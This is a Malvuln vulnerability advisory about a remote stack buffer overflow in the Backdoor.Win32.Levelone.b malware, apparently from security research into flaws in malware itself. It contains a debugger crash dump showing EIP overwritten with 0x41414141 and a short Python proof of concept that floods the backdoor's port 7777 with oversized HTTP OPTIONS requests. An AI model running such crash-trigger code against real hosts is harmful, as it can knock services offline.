Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/3f82e6ddc9f5242f5af200d2fbae4ce4.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Levelone.b
Vulnerability: Remote Stack Buffer Overflow 
Description: The backdoor listens on Port 7777, sending two large consecutive HTTP OPTIONS requests trigger the buffer overflow overwriting EIP.
Type: PE32
MD5: 3f82e6ddc9f5242f5af200d2fbae4ce4
Vuln ID: MVID-2021-0021
Dropped files: Vector64.exe
Network Access: Remote
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/10/2021

Memory Dump:
This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(b9c.1424): Access violation - code c0000005 (first/second chance not available)
eax=000a13a4 ebx=0019ff70 ecx=0040109a edx=773e9d70 esi=ffffffff edi=0040801c
eip=41414141 esp=000a1388 ebp=000a13ac iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

FAULTING_IP: 
+d0cf3c0
41414141 ??              ???

EXCEPTION_RECORD:  0019f7f0 -- (.exr 0x19f7f0)
ExceptionAddress: 41414141
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414141
Attempt to read from address 41414141

PROCESS_NAME:  Vector64.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141 

FOLLOWUP_IP: 
+d0cf3c0
41414141 ??              ???

FAILED_INSTRUCTION_ADDRESS: 
+d0cf3c0
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  0019f840 -- (.cxr 0x19f840)
eax=0040a371 ebx=0040513c ecx=b3be0a93 edx=0019fbd4 esi=00005231 edi=00005235
eip=41414141 esp=0019fca0 ebp=0019fcc4 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
41414141 ??              ???
Resetting default scope

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 00402a5b to 41414141

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

STACK_TEXT:  
0019fca0 41414141 unknown!printable+0x0
0019fca4 00402a5b vector64+0x2a5b
0019fccc 00402452 vector64+0x2452
0019fd14 0040253b vector64+0x253b
0019ff34 00402961 vector64+0x2961
0019ff3c 00401222 vector64+0x1222
0019ff88 76e38654 kernel32!BaseThreadInitThunk+0x24
0019ff9c 773c4a77 ntdll!__RtlUserThreadStart+0x2f
0019ffe4 773c4a47 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  .cxr 000000000019F840 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 19fca0 ; kb

POSSIBLE_INVALID_CONTROL_TRANSFER:  from 00402a56 to 00403800

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: hardware

IMAGE_NAME:  hardware

DEBUG_FLR_IMAGE_TIMESTAMP:  0

BUCKET_ID:  CPU_CALL_ERROR

FAILURE_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_hardware!Unknown



Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=7777
sz = 20000
c=1

def doit():
    global c, sz
    while True:
        s=socket(AF_INET, SOCK_STREAM)
        s.connect((MALWARE_HOST, PORT))
        s.settimeout(0.3)
        sz += 1000
        JUNK="A"*sz
        PAYLOAD="OPTIONS  /"+JUNK+" HTTP/1.0\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
        s.send(PAYLOAD)
        print(sz)
        s.close()
        time.sleep(0.2)
        c+=1
        if c==3:
            print("Backdoor.Win32.Levelone.b / Remote Stack Buffer Overflow")
            print("MD5: 3f82e6ddc9f5242f5af200d2fbae4ce4")
            print("By Malvuln")
            break

if __name__=="__main__":
    doit()

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